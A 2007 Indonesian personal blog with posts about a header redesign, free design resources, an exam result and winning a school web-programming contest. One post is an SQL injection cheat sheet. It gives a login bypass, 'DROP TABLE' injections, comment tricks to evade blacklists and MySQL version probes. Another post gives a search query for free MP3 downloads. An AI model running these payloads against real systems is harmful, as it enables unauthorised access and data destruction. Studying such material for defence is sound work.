Thursday, May 17, 2007

Ada yang beda ga yah??

Perhatiin deh blog aku ini, ada yang beda ga yah??
Yap kamu betul sekali, jika kamu sering maen & pernah liat blog aku sebelumya pasti tau. Karena terlihat jelas bahwa header yang dulu dirajai dengan warna merah jambu gak jelas, sekarang berubah warnanya menjadi orange. Kenapa dibilang ga jelas, yaeyalah dari namanya aja udah ketauan, ini nama warna apa nama pu'un (baca:pohon) sih, bisa juga nama buah, :halah: warna yang aneh.

Designnya cuma modal brush photoshop sama font yang kemaren abis aku donlot. Linknya bisa dicari di postingan aku sebelumnya. Tinggal klik sana klik sini selama 2 jam, ga kerasa designnya malah jadi berantakan, hehehe. Gara"nya keasikkan pake brush yang baru di donlot yang banyak banget. Karena semuanya keren" yaudah aku brush semua canvasnya, alhasil malah jadi keramean brush dimana-mana, aturannya tadi cuma butuh 2 jam jadi molor 4 jam, nyahahaha.

Tampang header yang udah jadul :


Tampang header yang masih gress :


Tools :
1. Adobe Photoshop 7.0

Brush :
1. Swirly Ornaments by Angeles + Papersweets Brush.abr
2. Background brushes by Angèles + Papersweets Brush.abr
3. Decorative Ornaments by Angèles Brush.abr

Fonts :
1. Dimitri Swank.TTF
2. Teacher_A.TTF
3. Verdana.TTF

Wednesday, May 16, 2007

Free Link (Title yg aneh..)

#1 --> (Brushes for Photoshop version higher than 7.0) || (Brushes for Photoshop version 7.0)
Tinggal pilih brush mana yg mau di donlot, trus klik Download Now!
Tips : klo mau liat brush yg keren pilih menu Ornamen, Shapes, Splatters & Spills di dropdown menunya (buat versi Photoshop higher than 7.0). Switly Brushes sama Vector & technic (buat versi Photoshop 7.0) jg ga kalah kerennya.

#2 --> Free fonts
Tersedia banyak jenis font yg bisa kamu donlot secara gratis. Tinggal pilih di menu Browse Free Fonts.
Tips : 3D, Futuristic, sama Rounded fontnya keren". Tapi Computer, Grafitti sama Typewriter juga ga kalah keren.

#3 --> Shopping chart (PHP file)
Tinggal donlot .zip nya, terus di ekstrak ke folder htdocs kamu. Buat bikin databasenya tinggal di dump plaincart.sql nya, klo ga ngerti baca README nya aja ^^

#4 --> Color picker with javascript
Simply, easy and useful.

#5 --> Search mp3 di google
Keyword buat mencari link donlot mp3 di google. Sebenernya ini cara lama, tapi cukup membantu ko bagi kamu" yg ingin donlot mp3 gratisan.
Tips : klo mau lebih spesifik lagi nyarinya kamu tinggal menambahkan judul lagu / nama penyanyi / nama bandnya di belakang keywordnya.
Contoh : kamu mau mencari lagu MCR a.k.a My Chemical Romance yang judulnya Thank You For The Venom.

Tinggal tambahkan pada keywordnya sbb :
?intitle:index.of? my chemical romance thank you for the venom mp3

Friday, May 11, 2007

Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks

Ending / Commenting Out / Line Comments

I. Line Comments
Comments out rest of the query.
Line comments biasanya berguna banget buat meng'ignore' sisa dari pernyataan query, jadi kamu ga usah pusing pusing lagi buat ngakhirin syntaxnya.
Cara-caranya antara lain :

1. -- (SM)
DROP sampletable;--

2. # (M)
DROP sampletable;#

*Contoh SQL Injection Attacks menggunakan Line Comments

1. Username: admin'--

2. SELECT * FROM members WHERE username = 'admin'--' AND password ='password'
Ini memungkinkan kamu dapat login sebagai user admin, karena SQL query yang terakhir akan di'ignore', yaitu pada SQL AND password ='password'


II. Inline Comments
Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.

1. /*Comment Here*/ (SM)

* DROP/*comment*/sampletable
* DR/**/OP/*bypass blacklisting*/sampletable
* SELECT/*avoid-spaces*/password/**/FROM/**/Members

2. /*! MYSQL Special SQL */ (M)
Ini merupakan syntax comment spesial di dalam MySQL. Ini berguna untuk mendetect versi MySQL. Kalo kamu masukin kode kedalam comment tersebut maka kode tersebut akan dieksekusi hanya di dalam MySQL saja. Kamu juga bisa menggunakan cara tersebut untuk mengeksekusi beberapa kode tetapi jika versi servernya lebih besar daripada versi yang tersedia.

SELECT /*!32302 1/0, */ 1 FROM tablename

*Contoh SQL Injection Attacks menggunakan Classical Inline Comment

1. ID: 10; DROP TABLE members /*
Dengan cara ini dengan mudah kamu dapat menghilangkan SQL query yang lain pada baris query terakhir. Atau dapat juga dilakukan dengan menggunakan 10; DROP TABLE members --

2. SELECT /*!32302 1/0, */ 1 FROM tablename
Dengan cara ini kamu dapat membuang sebagian dari query dengan nilai error sama dengan 0 jika versi MySQL lebih besar dari 3.23.02

*Contoh MySQL Version Detection Attacks

1. ID: /*! 32302 10 */

2. ID: 10
Kamu akan melihat response yang sama jika versi MySQL lebih besar dari 3.23.02

3. SELECT /*!32302 1/0, */ 1 FROM tablename
Dengan cara ini kita dapat membuang sebagian dari query dengan nilai error sama dengan 0 jika versi MySQL lebih besar dari 3.23.02


*Currently only for MySQL and Microsoft SQL Server, some ORACLE and some PostgreSQL. Most of samples are not correct for every single situation. Most of the real world environments may change because of parenthesis, different code bases and unexpected, strange SQL sentences.

Wednesday, May 2, 2007

Don't be confused


beuh..
masa gw bisa dpt rank 2..
padahal gw ngisi multiple choicenya cap cip cup..
dari integral, diferensial, matrix, logika apalah itu, gw gag ngarti..
wekekekek..

gw gag tau deh..
emang gw nebaknya bener..
apa emang gwnya yang pintar..
jiakakakak..

gw ambil gag yah??
klo gag gw ambil, sayang 200 rebu sama dah lulus rank 2..
klo gw ambil, gw gag tau dapet duidnya darimana buat bayar SPP sama Uang Gedung..

confused mode ON (_ _!)

Wednesday, April 25, 2007

AND FINALLY

kira kira itu kata" yang tepat buat ngungkapin perasaan aku saat ini.. \*halah*\

bayangin ajah hampir saban hari saban pisan gw gag pulang ke rumah, jadi kaya bang toyib gw..
jiakakakak..
sampe orang sekitar rumah gw klo liat gw pulang dibilang "eh isha tumben pulang.."
beuh parah sudah, padahal kan emang rumah gw disitu.. hikz

tapi tak apalah, biarkan mereka berbicara..
yang penting hasilnya ya kan, hihihi..

gw juga gak nyagka gw bisa menang (pik maju pik) ;
padahal klo nginep gw sama sekali gag latihan..
yang ada malah maen dotA klo ngga online trus sampe pagi (itu juga waktu inet masih idup);
alhasil dihari terakhir sebelum praktek malemnya gw gag tidur, bwat latihan bikin web dari awal..

dari design sampe codingnya gw bikin dari mula..
untungnya design gw dah punya gambaran..
soalnya waktu itu gw iseng iseng bikin template..
yaudah gw pake ajah tuh template..


hari pertama (Ujian Teori) :
soalnya menurut gw ga begitu susah tapi ga begitu gampang juga..
kebanyakan yang aneh soalnya..
hihihihi..


hari kedua (Ujian Praktek) :
sebelum praktek semaleman gw gag tidur sampe besokannya lomba..
coz semenjak pertama nginep gw lom pernah latihan bikin web dari bener" awal bgt..
yang ad cuma ngelancarin coding..

yaudah gw bikin tuh dari jam 11 malem sampe jam 5 pagi..
soalnya jam 5 mesti keluar semuanya..

semuanya sih lancar, tapi ad skrip yg masih lom gw ngarti..
skrip order online..
padahal gw masih lom paham konsep $_SESSION[];
nah gw minta aj si hdytsgt buat nigrimin tuh skrip
tapi dya ngiriminnya sorenya sehari sebelum lomba..
alhasil tuh skrip ga bisa gw oprek sampe dalem"nya..
gw cuma ngetrace alurnya tuh skrip..

pas gw coding ulang tuh skrip tanpa melihat contohnya..
gag bisa jalan terus..
setiap gw refresh ordernya nambah satu..
klo di Edit jumlah ordernya juga gitu, malah nambah bukannya d update..
padahal dah gw utak atik skrip yg bagian INSERT sama UPDATE..
tapi tetep aja gag bisa..
saking puyengnya, gw tinggalin tidur aja tuh skrip, coz gw takut ntar pas lomba malah ngantuk..
tapi nih mata gag bisa gw meremin, yang ada malah tuh skrip yg kepikiran terus..
gara" gw minum kopi sampe 2 bungkus..
yaudah gw lanjutin ajah tuh skrip yg masih terbengkalai..
dari jam 4 pagi sampe 1/2 5 gw kutak kutik tuh skrip..
baru tuh skrip bisa jalan dengan sempurna..
salahnya gw pas bisa jalan tuh skrip gw langsung tepar..
gag gw coba sekali lagi..
soalnya gw takut ntar gara" skrip order online duank gw mlah ngantuk pas lomba..
terus semuanya jadi ga kelar..

yaudah gw tidur 1/2 jam duank dah dibangunin sma si kebot..
abis itu keluar skul gw sama yg laen makan nasduk di mega..
terus nongkrong d kantin..
d kantin sempet tidur dikit..

tapi tetep aja masih ngantuk..
efek kopi 2 bungkus tadi malem kyanya udah ilang nih..
yg keluar malah efek ngantuknya..

untungnya pas lomba rasa ngantuk itu tak kunjung datang..
wekekekek, mangkanya gw mo ngucapin terima kasih bwt ngantuk, yg tidak datang disaat yg tepat, hihihi..

dari design sampe skrip guestbook, counter, login semuanya dah kelar pas jam 2 siang..
nah tinggal skrip order onlinenya duank nih yg blom..
gara" gag gw ulang lagi tuh skrip tadi malem..
kejadian tadi malem ke ulang lagih..
setiap gw refresh ordernya nambah atu..

arrrggghhhh, mana dah bentar lagi abis lagi waktunya..
yaudah gw tinggalin ajah tuh skrip begitu..
yang penting mah masih bisa ngitung hasilnya berapa yg harus dibayar..

sementara temen gw yg laen si delon sama si bokir..
keribetan semuanya..
si delon keasikan ngedesign..
si bokir ngutak atik skrip counter yg gag bisa jalan..

akhirnya ga selese deh web nya..
si delon guestbooknya ga bisa nampilin cuma bisa masukin..
si bokir skrip loginnya gag bisa jalan..

puff..


AND FINALLY :
Juara I : gw sendiri
Juara II : ilham a.k.a bokir
Juara III : indra a.k.a delon
yg laen gw lupa..


Thx to :
Allah SWT & Muhammad S.A.W bwt restunya, my parents and my family, hdytsgt your d'best lah, temen-temen E-4 a.k.a rumah kita..

Penghuni rumah kita :
anak klas IV :
adit(yg punya rumah kita)
riyan(jokinya si adit)
paesal(bikers TC 125, yg mau diajak kemana-mana)
robbi(yg punya motor operasional)

anak klas III :
kebot(si dedengkot e-gold)
pa bozz(vespa lw klo diliat keren, tapi klo diliat-liat aneh juga keliatannya :P)
bokir(si juara II)
delon(si juara III)
e-wong(si tukang ngepel)
gepeng(si tukang burning)
yg laen-laen yg gw lupa namanya & gag bisa gw sebutin atu"(maap yah) ^^

dotA a.k.a warcraft III(koq gw bisa keranjingan maen ginian yagh)


"tapi perjuangan gw gag sampe disini duank nih..
masih ada LKS tk. nasional nih, yg gw yakin pasti soalnya nambah berat..
huff..
mudah"an semuanya bisa gw jalanin, hihihi..
gw minta doanya aj deh bwt semua temen2 gw.."